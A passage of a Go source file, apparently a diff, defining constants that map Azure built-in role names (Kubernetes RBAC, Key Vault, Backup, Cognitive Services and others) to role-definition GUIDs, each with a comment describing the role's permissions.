"ed7f3fbd-7b88-4dd4-9017-9adb7ce333f8" + + // Deploy the Azure Policy add-on on Azure Kubernetes Service clusters + AzureKubernetesServicePolicyAddonDeploymentRoleID string = "18ed5180-3e48-46fd-8541-4ea054d57064" + + // Lets you manage all resources under cluster/namespace, except update or delete resource quotas and namespaces. + AzureKubernetesServiceRBACAdminRoleID string = "3498e952-d568-435e-9b2c-8d77e338d7f7" + + // Lets you manage all resources in the cluster. + AzureKubernetesServiceRBACClusterAdminRoleID string = "b1ff04bb-8a4e-4dc4-8eb5-8693973ce19b" + + // Allows read-only access to see most objects in a namespace. It does not allow viewing roles or role bindings. This role does not allow viewing Secrets, since reading the contents of Secrets enables access to ServiceAccount credentials in the namespace, which would allow API access as any ServiceAccount in the namespace (a form of privilege escalation). Applying this role at cluster scope will give access across all namespaces. + AzureKubernetesServiceRBACReaderRoleID string = "7f6c6a51-bcf8-42ba-9220-52d62157d7db" + + // Allows read/write access to most objects in a namespace.This role does not allow viewing or modifying roles or role bindings. However, this role allows accessing Secrets and running Pods as any ServiceAccount in the namespace, so it can be used to gain the API access levels of any ServiceAccount in the namespace. Applying this role at cluster scope will give access across all namespaces. + AzureKubernetesServiceRBACWriterRoleID string = "a7ffa36f-339b-4b5c-8bdf-e2c188b2c0eb" + + // Grants access all Azure Maps resource management. + AzureMapsContributorRoleID string = "dba33070-676a-4fb0-87fa-064dc56ff7fb" + + // Grants access to read, write, and delete access to map related data from an Azure maps account. + AzureMapsDataContributorRoleID string = "8f5e0ce6-4f7b-4dcf-bddf-e6f48634a204" + + // Grants access to read map related data from an Azure maps account. + AzureMapsDataReaderRoleID string = "423170ca-a8f6-4b0f-8487-9e4eb8f49bfa" + + // Grants access to very limited set of data APIs for common visual web SDK scenarios. Specifically, render and search data APIs. + AzureMapsSearchandRenderDataReaderRoleID string = "6be48352-4f82-47c9-ad5e-0acacefdb005" + + // Allows for listen access to Azure Relay resources. + AzureRelayListenerRoleID string = "26e0b698-aa6d-4085-9386-aadae190014d" + + // Allows for full access to Azure Relay resources. + AzureRelayOwnerRoleID string = "2787bf04-f1f5-4bfe-8383-c8a24483ee38" + + // Allows for send access to Azure Relay resources. + AzureRelaySenderRoleID string = "26baccc8-eea7-41f1-98f4-1762cc7f685d" + + // Allows for full access to Azure Service Bus resources. + AzureServiceBusDataOwnerRoleID string = "090c5cfd-751d-490a-894a-3ce6f1109419" + + // Allows for receive access to Azure Service Bus resources. + AzureServiceBusDataReceiverRoleID string = "4f6d3b9b-027b-4f4c-9142-0e5a2a2247e0" + + // Allows for send access to Azure Service Bus resources. + AzureServiceBusDataSenderRoleID string = "69a216fc-b8fb-44d8-bc22-1f3c2cd27a39" + + // Allow read, write and delete access to Azure Spring Cloud Config Server + AzureSpringCloudConfigServerContributorRoleID string = "a06f5c24-21a7-4e1a-aa2b-f19eb6684f5b" + + // Allow read access to Azure Spring Cloud Config Server + AzureSpringCloudConfigServerReaderRoleID string = "d04c6db6-4947-4782-9e91-30a88feb7be7" + + // Allow read access to Azure Spring Cloud Data + AzureSpringCloudDataReaderRoleID string = "b5537268-8956-4941-a8f0-646150406f0c" + + // Allow read, write and delete access to Azure Spring Cloud Service Registry + AzureSpringCloudServiceRegistryContributorRoleID string = "f5880b48-c26d-48be-b172-7927bfa1c8f1" + + // Allow read access to Azure Spring Cloud Service Registry + AzureSpringCloudServiceRegistryReaderRoleID string = "cff1b556-2399-4e7e-856d-a8f754be7b65" + + // Lets you manage Azure Stack registrations. + AzureStackRegistrationOwnerRoleID string = "6f12a6df-dd06-4f3e-bcb1-ce8be600526a" + + // Azure VM Managed identities restore Contributors are allowed to perform Azure VM Restores with managed identities both user and system + AzureVMManagedidentitiesrestoreContributorRoleID string = "6ae96244-5829-4925-a7d3-5975537d91dd" + + // Can perform all actions within an Azure Machine Learning workspace, except for creating or deleting compute resources and modifying the workspace itself. + AzureMLDataScientistRoleID string = "f6c7c914-8db3-469d-8ca1-694a8f32e121" + + // Lets you write metrics to AzureML workspace + AzureMLMetricsWriterRoleID string = "635dd51f-9968-44d3-b7fb-6d9a6bd613ae" + + // Lets you manage backup service,but can't create vaults and give access to others + BackupContributorRoleID string = "5e467623-bb1f-42f4-a55d-6e525e11384b" + + // Lets you manage backup services, except removal of backup, vault creation and giving access to others + BackupOperatorRoleID string = "00c29273-979b-4161-815c-10b084fb9324" + + // Can view backup services, but can't make changes + BackupReaderRoleID string = "a795c7a0-d4a2-40c1-ae25-d81f01202912" + + // Allows read access to billing data + BillingReaderRoleID string = "fa23ad8b-c56e-40d8-ac0c-ce449e1d2c64" + + // Lets you manage BizTalk services, but not access to them. + BizTalkContributorRoleID string = "5e3c6656-6cfa-4708-81fe-0de47ac73342" + + // Allows for access to Blockchain Member nodes + BlockchainMemberNodeAccessRoleID string = "31a002a1-acaf-453e-8a5b-297c9ca1ea24" + + // Can manage blueprint definitions, but not assign them. + BlueprintContributorRoleID string = "41077137-e803-4205-871c-5a86e6a753b4" + + // Can assign existing published blueprints, but cannot create new blueprints. NOTE: this only works if the assignment is done with a user-assigned managed identity. + BlueprintOperatorRoleID string = "437d2ced-4a38-4302-8479-ed2bcb43d090" + + // Can manage CDN endpoints, but can’t grant access to other users. + CDNEndpointContributorRoleID string = "426e0c7f-0c7e-4658-b36f-ff54d6c29b45" + + // Can view CDN endpoints, but can’t make changes. + CDNEndpointReaderRoleID string = "871e35f6-b5c1-49cc-a043-bde969a0f2cd" + + // Can manage CDN profiles and their endpoints, but can’t grant access to other users. + CDNProfileContributorRoleID string = "ec156ff8-a8d1-4d15-830c-5b80698ca432" + + // Can view CDN profiles and their endpoints, but can’t make changes. + CDNProfileReaderRoleID string = "8f96442b-4075-438f-813d-ad51ab4019af" + + // Lets you manage everything under your HPC Workbench chamber. + ChamberAdminRoleID string = "4e9b8407-af2e-495b-ae54-bb60a55b1b5a" + + // Lets you view everything under your HPC Workbench chamber, but not make any changes. + ChamberUserRoleID string = "4447db05-44ed-4da3-ae60-6cbece780e32" + + // Lets you manage classic networks, but not access to them. + ClassicNetworkContributorRoleID string = "b34d265f-36f7-4a0d-a4d4-e158ca92e90f" + + // Lets you manage classic storage accounts, but not access to them. + ClassicStorageAccountContributorRoleID string = "86e8f5dc-a6e9-4c67-9d15-de283e8eac25" + + // Classic Storage Account Key Operators are allowed to list and regenerate keys on Classic Storage Accounts + ClassicStorageAccountKeyOperatorServiceRoleID string = "985d6b00-f706-48f5-a6fe-d0ca12fb668d" + + // Lets you manage classic virtual machines, but not access to them, and not the virtual network or storage account they’re connected to. + ClassicVirtualMachineContributorRoleID string = "d73bb868-a0df-4d4d-bd69-98a00b01fccb" + + // Lets you manage ClearDB MySQL databases, but not access to them. + ClearDBMySQLDBContributorRoleID string = "9106cda0-8a86-4e81-b686-29a22c54effe" + + // Manage identity or business verification requests. This role is in preview and subject to change. + CodeSigningIdentityVerifierRoleID string = "4339b7cf-9826-4e41-b4ed-c7f4505dac08" + + // Sign files with a certificate profile. This role is in preview and subject to change. + CodeSigningCertificateProfileSignerRoleID string = "2837e146-70d7-4cfd-ad55-7efa6464f958" + + // Lets you create, read, update, delete and manage keys of Cognitive Services. + CognitiveServicesContributorRoleID string = "25fbc0a9-bd7c-42a3-aa1a-3b75d497ee68" + + // Full access to the project, including the ability to view, create, edit, or delete projects. + CognitiveServicesCustomVisionContributorRoleID string = "c1ff6cc2-c111-46fe-8896-e0ef812ad9f3" + + // Publish, unpublish or export models. Deployment can view the project but can’t update. + CognitiveServicesCustomVisionDeploymentRoleID string = "5c4089e1-6d96-4d2f-b296-c1bc7137275f" + + // View, edit training images and create, add, remove, or delete the image tags. Labelers can view the project but can’t update anything other than training images and tags. + CognitiveServicesCustomVisionLabelerRoleID string = "88424f51-ebe7-446f-bc41-7fa16989e96c" + + // Read-only actions in the project. Readers can’t create or update the project. + CognitiveServicesCustomVisionReaderRoleID string = "93586559-c37d-4a6b-ba08-b9f0940c2d73" + + // View, edit projects and train the models, including the ability to publish, unpublish, export the models. Trainers can’t create or delete the project. + CognitiveServicesCustomVisionTrainerRoleID string = "0a5ae4ab-0d65-4eeb-be61-29fc9b54394b" + + // Lets you read Cognitive Services data. + CognitiveServicesDataReaderRoleID string = "b59867f0-fa02-499b-be73-45a86b5b3e1c" + + // Lets you perform detect, verify, identify, group, and find similar operations on Face API. This role does not allow create or delete operations, which makes it well suited for endpoints that only need inferencing capabilities, following 'least privilege' best practices. + CognitiveServicesFaceRecognizerRoleID string = "9894cab4-e18a-44aa-828b-cb588cd6f2d7" + + // Provides access to create Immersive Reader sessions and call APIs + CognitiveServicesImmersiveReaderUserRoleID string = "b2de6794-95db-4659-8781-7e080d3f2b9d" + + // Has access to all Read, Test, Write, Deploy and Delete functions under LUIS + CognitiveServicesLUISOwnerRoleID string = "f72c8140-2111-481c-87ff-72b910f6e3f8" + + // Has access to Read and Test functions under LUIS. + CognitiveServicesLUISReaderRoleID string = "18e81cdc-4e98-4e29-a639-e7d10c5a6226" + + // Has access to all Read, Test, and Write functions under LUIS + CognitiveServicesLUISWriterRoleID string = "6322a993-d5c9-4bed-b113-e49bbea25b27" + + // Has access to all Read, Test, Write, Deploy and Delete functions under Language portal + CognitiveServicesLanguageOwnerRoleID string = "f07febfe-79bc-46b1-8b37-790e26e6e498" + + // Has access to Read and Test functions under Language portal + CognitiveServicesLanguageReaderRoleID string = "7628b7b8-a8b2-4cdc-b46f-e9b35248918e" + + // Has access to all Read, Test, and Write functions under Language Portal + CognitiveServicesLanguageWriterRoleID string = "f2310ca1-dc64-4889-bb49-c8e0fa3d47a8" + + // Full access to the project, including the system level configuration. + CognitiveServicesMetricsAdvisorAdministratorRoleID string = "cb43c632-a144-4ec5-977c-e80c4affc34a" + + // Access to the project. + CognitiveServicesMetricsAdvisorUserRoleID string = "3b20f47b-3825-43cb-8114-4bd2201156a8" + + // Let’s you create, edit, import and export a KB. You cannot publish or delete a KB. + CognitiveServicesQnAMakerEditorRoleID string = "f4cc2bf9-21be-47a1-bdf1-5c5804381025" + + // Let’s you read and test a KB only. + CognitiveServicesQnAMakerReaderRoleID string = "466ccd10-b268-4a11-b098-b4849f024126" + + // Full access to Speech projects, including read, write and delete all entities, for real-time speech recognition and batch transcription tasks, real-time speech synthesis and long audio tasks, custom speech and custom voice. + CognitiveServicesSpeechContributorRoleID string = "0e75ca1e-0464-4b4d-8b93-68208a576181" + + // Access to the real-time speech recognition and batch transcription APIs, real-time speech synthesis and long audio APIs, as well as to read the data/test/model/endpoint for custom models, but can’t create, delete or modify the data/test/model/endpoint for custom models. + CognitiveServicesSpeechUserRoleID string = "f2dc8367-1007-4938-bd23-fe263f013447" + + // Lets you read and list keys of Cognitive Services. + CognitiveServicesUserRoleID string = "a97b65f3-24c7-4388-baec-2e87135dc908" + + // Can manage data packages of a collaborative. + CollaborativeDataContributorRoleID string = "daa9e50b-21df-454c-94a6-a8050adab352" + + // Can manage resources created by AICS at runtime + CollaborativeRuntimeOperatorRoleID string = "7a6f0e70-c033-4fb1-828c-08514e5f4102" + + // This role allows user to share gallery to another subscription/tenant or share it to the public. + ComputeGallerySharingAdminRoleID string = "1ef6a3be-d0ac-425d-8c01-acb62866290b" + + // Grants full access to manage all resources, but does not allow you to assign roles in Azure RBAC, manage assignments in Azure Blueprints, or share image galleries. + ContributorRoleID string = "b24988ac-6180-42a0-ab88-20f7382dd24c" + + // Can read Azure Cosmos DB Accounts data + CosmosDBAccountReaderRoleID string = "fbdf93bf-df7d-467e-a4d2-9458aa1360c8" + + // Lets you manage Azure Cosmos DB accounts, but not access data in them. Prevents access to account keys and connection strings. + CosmosDBOperatorRoleID string = "230815da-be43-4aae-9cb4-875f7bd000aa" + + // Can submit restore request for a Cosmos DB database or a container for an account + CosmosBackupOperatorRoleID string = "db7b14f2-5adf-42da-9f96-f2ee17bab5cb" + + // Can perform restore action for Cosmos DB database account with continuous backup mode + CosmosRestoreOperatorRoleID string = "5432c526-bc82-444a-b7ba-57c5b0b5b34f" + + // Can view costs and manage cost configuration (e.g. budgets, exports) + CostManagementContributorRoleID string = "434105ed-43f6-45c7-a02f-909b2ba83430" + + // Can view cost data and configuration (e.g. budgets, exports) + CostManagementReaderRoleID string = "72fafb9e-0641-4937-9268-a91bfd8191a3" + + // Full access to DICOM data. + DICOMDataOwnerRoleID string = "58a3b984-7adf-4c20-983a-32417c86fbc8" + + // Read and search DICOM data. + DICOMDataReaderRoleID string = "e89c7a3c-2f64-4fa1-a847-3e4c9ba4283a" + + // Lets you manage DNS resolver resources. + DNSResolverContributorRoleID string = "0f2ebee7-ffd4-4fc0-b3b7-664099fdad5d" + + // Lets you manage DNS zones and record sets in Azure DNS, but does not let you control who has access to them. + DNSZoneContributorRoleID string = "befefa01-2a29-4197-83a8-272ff33ce314" + + // Lets you manage everything under Data Box Service except giving access to others. + DataBoxContributorRoleID string = "add466c9-e687-43fc-8d98-dfcf8d720be5" + + // Lets you manage Data Box Service except creating order or editing order details and giving access to others. + DataBoxReaderRoleID string = "028f4ed7-e2a9-465e-a8f4-9c0ffdfdc027" + + // Create and manage data factories, as well as child resources within them. + DataFactoryContributorRoleID string = "673868aa-7521-48a0-acc6-0f60742d39f5" + + // Lets you submit, monitor, and manage your own jobs but not create or delete Data Lake Analytics accounts. + DataLakeAnalyticsDeveloperRoleID string = "47b7735b-770e-4598-a7da-8b91488b4c88" + + // Provides permissions to upload data to empty managed disks, read, or export data of managed disks (not attached to running VMs) and snapshots using SAS URIs and Azure AD authentication. + DataOperatorforManagedDisksRoleID string = "959f8984-c045-4866-89c7-12bf9737be2e" + + // Can purge analytics data + DataPurgerRoleID string = "150f5e0c-0603-4f03-8c7f-cf70034c4e90" + + // Contributor of the Desktop Virtualization Application Group. + DesktopVirtualizationApplicationGroupContributorRoleID string = "86240b0e-9422-4c43-887b-b61143f32ba8" + + // Reader of the Desktop Virtualization Application Group. + DesktopVirtualizationApplicationGroupReaderRoleID string = "aebf23d0-b568-4e86-b8f9-fe83a2c6ab55" + + // Contributor of Desktop Virtualization. + DesktopVirtualizationContributorRoleID string = "082f0a83-3be5-4ba1-904c-961cca79b387" + + // Contributor of the Desktop Virtualization Host Pool. + DesktopVirtualizationHostPoolContributorRoleID string = "e307426c-f9b6-4e81-87de-d99efb3c32bc" + + // Reader of the Desktop Virtualization Host Pool. + DesktopVirtualizationHostPoolReaderRoleID string = "ceadfde2-b300-400a-ab7b-6143895aa822" + + // This role is in preview and subject to change. Provide permission to the Azure Virtual Desktop Resource Provider to start virtual machines. + DesktopVirtualizationPowerOnContributorRoleID string = "489581de-a3bd-480d-9518-53dea7416b33" + + // This role is in preview and subject to change. Provide permission to the Azure Virtual Desktop Resource Provider to start and stop virtual machines. + DesktopVirtualizationPowerOnOffContributorRoleID string = "40c5ff49-9181-41f8-ae61-143b0e78555e" + + // Reader of Desktop Virtualization. + DesktopVirtualizationReaderRoleID string = "49a72310-ab8d-41df-bbb0-79b649203868" + + // Operator of the Desktop Virtualization Session Host. + DesktopVirtualizationSessionHostOperatorRoleID string = "2ad6aaab-ead9-4eaa-8ac5-da422f562408" + + // Allows user to use the applications in an application group. + DesktopVirtualizationUserRoleID string = "1d18fff3-a72a-46b5-b4a9-0b38a3cd7e63" + + // Operator of the Desktop Virtualization Uesr Session. + DesktopVirtualizationUserSessionOperatorRoleID string = "ea4bfff8-7fb4-485a-aadd-d4129a0ffaa6" + + // This role is in preview and subject to change. Provide permission to the Azure Virtual Desktop Resource Provider to create, delete, update, start, and stop virtual machines. + DesktopVirtualizationVirtualMachineContributorRoleID string = "a959dbd1-f747-45e3-8ba6-dd80f235f97c" + + // Contributor of the Desktop Virtualization Workspace. + DesktopVirtualizationWorkspaceContributorRoleID string = "21efdde3-836f-432b-bf3d-3e8e734d4b2b" + + // Reader of the Desktop Virtualization Workspace. + DesktopVirtualizationWorkspaceReaderRoleID string = "0fa44ee9-7a7d-466b-9bb2-2bf446b1204d" + + // Provides access to create and manage dev boxes. + DevCenterDevBoxUserRoleID string = "45d50f46-0b78-4001-a660-4198cbe8cd05" + + // Provides access to manage project resources. + DevCenterProjectAdminRoleID string = "331c37c6-af14-46d9-b9f4-e1909e1b95a0" + + // Lets you connect, start, restart, and shutdown your virtual machines in your Azure DevTest Labs. + DevTestLabsUserRoleID string = "76283e04-6283-4c54-8f91-bcf1374a3c64" + + // Allows for full access to Device Provisioning Service data-plane operations. + DeviceProvisioningServiceDataContributorRoleID string = "dfce44e4-17b7-4bd1-a6d1-04996ec95633" + + // Allows for full read access to Device Provisioning Service data-plane properties. + DeviceProvisioningServiceDataReaderRoleID string = "10745317-c249-44a1-a5ce-3a4353c0bbd8" + + // Gives you full access to management and content operations + DeviceUpdateAdministratorRoleID string = "02ca0879-e8e4-47a5-a61e-5c618b76e64a" + + // Gives you full access to content operations + DeviceUpdateContentAdministratorRoleID string = "0378884a-3af5-44ab-8323-f5b22f9f3c98" + + // Gives you read access to content operations, but does not allow making changes + DeviceUpdateContentReaderRoleID string = "d1ee9a80-8b14-47f0-bdc2-f4a351625a7b" + + // Gives you full access to management operations + DeviceUpdateDeploymentsAdministratorRoleID string = "e4237640-0e3d-4a46-8fda-70bc94856432" + + // Gives you read access to management operations, but does not allow making changes + DeviceUpdateDeploymentsReaderRoleID string = "49e2f5d2-7741-4835-8efa-19e1fe35e47f" + + // Gives you read access to management and content operations, but does not allow making changes + DeviceUpdateReaderRoleID string = "e9dba6fb-3d52-4cf0-bce3-f06ce71b9e0f" + + // Provides permission to backup vault to perform disk backup. + DiskBackupReaderRoleID string = "3e5e47e6-65f7-47ef-90b5-e5dd4d455f24" + + // Used by the StoragePool Resource Provider to manage Disks added to a Disk Pool. + DiskPoolOperatorRoleID string = "60fc6e62-5479-42d4-8bf4-67625fcc2840" + + // Provides permission to backup vault to perform disk restore. + DiskRestoreOperatorRoleID string = "b50d9833-a0cb-478e-945f-707fcc997c13" + + // Provides permission to backup vault to manage disk snapshots. + DiskSnapshotContributorRoleID string = "7efff54f-a5b4-42b5-a1c5-5411624893ce" + + // Lets you manage DocumentDB accounts, but not access to them. + DocumentDBAccountContributorRoleID string = "5bd9cd88-fe45-4216-938b-f97437e15450" + + // Can manage Azure AD Domain Services and related network configurations + DomainServicesContributorRoleID string = "eeaeda52-9324-47f6-8069-5d5bade478b2" + + // Can view Azure AD Domain Services and related network configurations + DomainServicesReaderRoleID string = "361898ef-9ed1-48c2-849c-a832951106bb" + + // Lets you manage elastic san accounts + ElasticSanOwnerRoleID string = "80dcbedb-47ef-405d-95bd-188a1b4ac406" + + // Read Azure Elastic SAN and all sub-resources + ElasticSanReaderRoleID string = "af6a70f8-3c9f-4105-acf1-d719e9fca4ca" + + // Lets you manage a volume group in elastic san account + ElasticSanVolumeGroupOwnerRoleID string = "a8281131-f312-4f34-8d98-ae12be9f0d23" + + // Lets you manage EventGrid operations. + EventGridContributorRoleID string = "1e241071-0855-49ea-94dc-649edcd759de" + + // Allows send access to event grid events. + EventGridDataSenderRoleID string = "d5a91429-5739-47e2-a06b-3470a27159e7" + + // Lets you manage EventGrid event subscription operations. + EventGridEventSubscriptionContributorRoleID string = "428e0ff0-5e57-4d9c-a221-2c70d0e0a443" + + // Lets you read EventGrid event subscriptions. + EventGridEventSubscriptionReaderRoleID string = "2414bbcf-6497-4faf-8c65-045460748405" + + // Experimentation Administrator + ExperimentationAdministratorRoleID string = "7f646f1b-fa08-80eb-a33b-edd6ce5c915c" + + // Experimentation Contributor + ExperimentationContributorRoleID string = "7f646f1b-fa08-80eb-a22b-edd6ce5c915c" + + // Allows for creation, writes and reads to the metric set via the metrics service APIs. + ExperimentationMetricContributorRoleID string = "6188b7c9-7d01-4f99-a59f-c88b630326c0" + + // Experimentation Reader + ExperimentationReaderRoleID string = "49632ef5-d9ac-41f4-b8e7-bbe587fa74a1" + + // Role allows user or principal full access to FHIR Data + FHIRDataContributorRoleID string = "5a1fc7df-4bf1-4951-a576-89034ee01acd" + + // Role allows user or principal to convert data from legacy format to FHIR + FHIRDataConverterRoleID string = "a1705bd2-3a8f-45a5-8683-466fcfd5cc24" + + // Role allows user or principal to read and export FHIR Data + FHIRDataExporterRoleID string = "3db33094-8700-4567-8da5-1501d4e7e843" + + // Role allows user or principal to read and import FHIR Data + FHIRDataImporterRoleID string = "4465e953-8ced-4406-a58e-0f6e3f3b530b" + + // Role allows user or principal to read FHIR Data + FHIRDataReaderRoleID string = "4c8d0bbc-75d3-4935-991f-5f3c56d81508" + + // Role allows user or principal to read and write FHIR Data + FHIRDataWriterRoleID string = "3f88fce4-5892-4214-ae73-ba5294559913" + + // Built-in Grafana admin role + GrafanaAdminRoleID string = "22926164-76b3-42b3-bc55-97df8dab3e41" + + // Built-in Grafana Editor role + GrafanaEditorRoleID string = "a79a5197-3a5c-4973-a920-486035ffd60f" + + // Built-in Grafana Viewer role + GrafanaViewerRoleID string = "60921a7e-fef1-4a43-9b16-a26c52ad4769" + + // Create and manage all aspects of the Enterprise Graph - Ontology, Schema mapping, Conflation and Conversational AI and Ingestions + GraphOwnerRoleID string = "b60367af-1334-4454-b71e-769d9a4f83d9" + + // Lets you read, write Guest Configuration Resource. + GuestConfigurationResourceContributorRoleID string = "088ab73d-1256-47ae-bea9-9de8e7131f31" + + // Lets you read and modify HDInsight cluster configurations. + HDInsightClusterOperatorRoleID string = "61ed4efc-fab3-44fd-b111-e24485cc132a" + + // Can Read, Create, Modify and Delete Domain Services related operations needed for HDInsight Enterprise Security Package + HDInsightDomainServicesContributorRoleID string = "8d8d5a11-05d3-4bda-a417-a08778121c7c" + + // Allows users to edit and delete Hierarchy Settings + HierarchySettingsAdministratorRoleID string = "350f8d15-c687-4448-8ae1-157740a3936d" + + // Can onboard new Hybrid servers to the Hybrid Resource Provider. + HybridServerOnboardingRoleID string = "5d1e5ee4-7c68-4a71-ac8b-0739630a3dfb" + + // Can read, write, delete, and re-onboard Hybrid servers to the Hybrid Resource Provider. + HybridServerResourceAdministratorRoleID string = "48b40c6e-82e0-4eb3-90d5-19e40f49b624" + + // Lets you manage integration service environments, but not access to them. + IntegrationServiceEnvironmentContributorRoleID string = "a41e2c5b-bd99-4a07-88f4-9bf657a760b8" + + // Allows developers to create and update workflows, integration accounts and API connections in integration service environments. + IntegrationServiceEnvironmentDeveloperRoleID string = "c7aa55d3-1abb-444a-a5ca-5e51e485d6ec" + + // Lets you manage Intelligent Systems accounts, but not access to them. + IntelligentSystemsAccountContributorRoleID string = "03a6d094-3444-4b3d-88af-7477090a9e5e" + + // Allows for full access to IoT Hub data plane operations. + IoTHubDataContributorRoleID string = "4fc6c259-987e-4a07-842e-c321cc9d413f" + + // Allows for full read access to IoT Hub data-plane properties + IoTHubDataReaderRoleID string = "b447c946-2db7-41ec-983d-d8bf3b1c77e3" + + // Allows for full access to IoT Hub device registry. + IoTHubRegistryContributorRoleID string = "4ea46cd5-c1b2-4a8e-910b-273211f9ce47" + + // Allows for read and write access to all IoT Hub device and module twins. + IoTHubTwinContributorRoleID string = "494bdba2-168f-4f31-a0a1-191d2f7c028c" + + // Perform all data plane operations on a key vault and all objects in it, including certificates, keys, and secrets. Cannot manage key vault resources or manage role assignments. Only works for key vaults that use the 'Azure role-based access control' permission model. + KeyVaultAdministratorRoleID string = "00482a5a-887f-4fb3-b363-3b7fe8e74483" + + // Perform any action on the certificates of a key vault, except manage permissions. Only works for key vaults that use the 'Azure role-based access control' permission model. + KeyVaultCertificatesOfficerRoleID string = "a4417e6f-fecd-4de8-b567-7b0420556985" + + // Lets you manage key vaults, but not access to them. + KeyVaultContributorRoleID string = "f25e0fa2-a7c8-4377-a976-54943a77a395" + + // Perform any action on the keys of a key vault, except manage permissions. Only works for key vaults that use the 'Azure role-based access control' permission model. + KeyVaultCryptoOfficerRoleID string = "14b46e9e-c2b7-41b4-b07b-48a6ebf60603" + + // Read metadata of keys and perform wrap/unwrap operations. Only works for key vaults that use the 'Azure role-based access control' permission model. + KeyVaultCryptoServiceEncryptionUserRoleID string = "e147488a-f6f5-4113-8e2d-b22465e65bf6" + + // Perform cryptographic operations using keys. Only works for key vaults that use the 'Azure role-based access control' permission model. + KeyVaultCryptoUserRoleID string = "12338af0-0e69-4776-bea7-57ae8d297424" + + // Read metadata of key vaults and its certificates, keys, and secrets. Cannot read sensitive values such as secret contents or key material. Only works for key vaults that use the 'Azure role-based access control' permission model. + KeyVaultReaderRoleID string = "21090545-7ca7-4776-b22c-e363652d74d2" + + // Perform any action on the secrets of a key vault, except manage permissions. Only works for key vaults that use the 'Azure role-based access control' permission model. + KeyVaultSecretsOfficerRoleID string = "b86a8fe4-44ce-4948-aee5-eccb2c155cd7" + + // Read secret contents. Only works for key vaults that use the 'Azure role-based access control' permission model. + KeyVaultSecretsUserRoleID string = "4633458b-17de-408a-b874-0445c86b69e6" + + // Knowledge Read permission to consume Enterprise Graph Knowledge using entity search and graph query + KnowledgeConsumerRoleID string = "ee361c5d-f7b5-4119-b4b6-892157c8f64c" + + // Role definition to authorize any user/service to create connectedClusters resource + KubernetesClusterAzureArcOnboardingRoleID string = "34e09817-6cbe-4d01-b1a2-e0eac5743d41" + + // Can create, update, get, list and delete Kubernetes Extensions, and get extension async operations + KubernetesExtensionContributorRoleID string = "85cb6faf-e071-4c9b-8136-154b5a04f717" + + // The lab assistant role + LabAssistantRoleID string = "ce40b423-cede-4313-a93f-9b28290b72e1" + + // The lab contributor role + LabContributorRoleID string = "5daaa2af-1fe8-407c-9122-bba179798270" + + // Lets you create new labs under your Azure Lab Accounts. + LabCreatorRoleID string = "b97fb8bc-a8b2-4522-a38b-dd33c7e65ead" + + // The lab operator role + LabOperatorRoleID string = "a36e6959-b6be-4b12-8e9f-ef4b474d304d" + + // The lab services contributor role + LabServicesContributorRoleID string = "f69b8690-cc87-41d6-b77a-a4bc3c0a966f" + + // The lab services reader role + LabServicesReaderRoleID string = "2a5c394f-5eb7-4d4f-9c8e-e8eae39faebc" + + // View, create, update, delete and execute load tests. View and list load test resources but can not make any changes. + LoadTestContributorRoleID string = "749a398d-560b-491b-bb21-08924219302e" + + // Execute all operations on load test resources and load tests + LoadTestOwnerRoleID string = "45bb0b16-2f0c-4e78-afaa-a07599b003f6" + + // View and list all load tests and load test resources but can not make any changes + LoadTestReaderRoleID string = "3ae3fb29-0000-4ccd-bf80-542e7b26e081" + + // Log Analytics Contributor can read all monitoring data and edit monitoring settings. Editing monitoring settings includes adding the VM extension to VMs; reading storage account keys to be able to configure collection of logs from Azure Storage; adding solutions; and configuring Azure diagnostics on all Azure resources. + LogAnalyticsContributorRoleID string = "92aaf0da-9dab-42b6-94a3-d43ce8d16293" + + // Log Analytics Reader can view and search all monitoring data as well as and view monitoring settings, including viewing the configuration of Azure diagnostics on all Azure resources. + LogAnalyticsReaderRoleID string = "73c42c96-874c-492b-b04d-ab87d138a893" + + // Lets you manage logic app, but not access to them. + LogicAppContributorRoleID string = "87a39d53-fc1b-424a-814c-f7e04687dc9e" + + // Lets you read, enable and disable logic app. + LogicAppOperatorRoleID string = "515c2055-d9d4-4321-b1b9-bd0c9a0f79fe" + + // Allows for creating managed application resources. + ManagedApplicationContributorRoleID string = "641177b8-a67a-45b9-a033-47bc880bb21e" + + // Lets you read and perform actions on Managed Application resources + ManagedApplicationOperatorRoleID string = "c7393b34-138c-406f-901b-d8cf2b17e6ae" + + // Lets you read resources in a managed app and request JIT access. + ManagedApplicationsReaderRoleID string = "b9331d33-8a36-4f8c-b097-4f54124fdb44" + + // Lets you manage managed HSM pools, but not access to them. + ManagedHSMcontributorRoleID string = "18500a29-7fe2-46b2-a342-b16a415e101d" + + // Create, Read, Update, and Delete User Assigned Identity + ManagedIdentityContributorRoleID string = "e40ec5ca-96e0-45a2-b4ff-59039f2c2b59" + + // Read and Assign User Assigned Identity + ManagedIdentityOperatorRoleID string = "f1a07417-d97a-45cb-824c-7a7467783830" + + // Managed Services Registration Assignment Delete Role allows the managing tenant users to delete the registration assignment assigned to their tenant. + ManagedServicesRegistrationassignmentDeleteRoleID string = "91c1777a-f3dc-4fae-b103-61d183457e46" + + // Management Group Contributor Role + ManagementGroupContributorRoleID string = "5d58bcaf-24a5-4b20-bdb6-eed9f69fbe4c" + + // Management Group Reader Role + ManagementGroupReaderRoleID string = "ac63b705-f282-497d-ac71-919bf39d939d" + + // Marketplace Admin grants full access to manage Private Azure Marketplace, including read and take action for private marketplace notifications, but does not allow to assign Marketplace Admin role to others + MarketplaceAdminRoleID string = "dd920d6d-f481-47f1-b461-f338c46b2d9f" + + // Create, read, modify, and delete Media Services accounts; read-only access to other Media Services resources. + MediaServicesAccountAdministratorRoleID string = "054126f8-9a2b-4f1c-a9ad-eca461f08466" + + // Create, read, modify, and delete Live Events, Assets, Asset Filters, and Streaming Locators; read-only access to other Media Services resources. + MediaServicesLiveEventsAdministratorRoleID string = "532bc159-b25e-42c0-969e-a1d439f60d77" + + // Create, read, modify, and delete Assets, Asset Filters, Streaming Locators, and Jobs; read-only access to other Media Services resources. + MediaServicesMediaOperatorRoleID string = "e4395492-1534-4db2-bedf-88c14621589c" + + // Create, read, modify, and delete Account Filters, Streaming Policies, Content Key Policies, and Transforms; read-only access to other Media Services resources. Cannot create Jobs, Assets or Streaming resources. + MediaServicesPolicyAdministratorRoleID string = "c4bba371-dacd-4a26-b320-7250bca963ae" + + // Create, read, modify, and delete Streaming Endpoints; read-only access to other Media Services resources. + MediaServicesStreamingEndpointsAdministratorRoleID string = "99dba123-b5fe-44d5-874c-ced7199a5804" + + // Microsoft Sentinel Automation Contributor + MicrosoftSentinelAutomationContributorRoleID string = "f4c81013-99ee-4d62-a7ee-b3f1f648599a" + + // Microsoft Sentinel Contributor + MicrosoftSentinelContributorRoleID string = 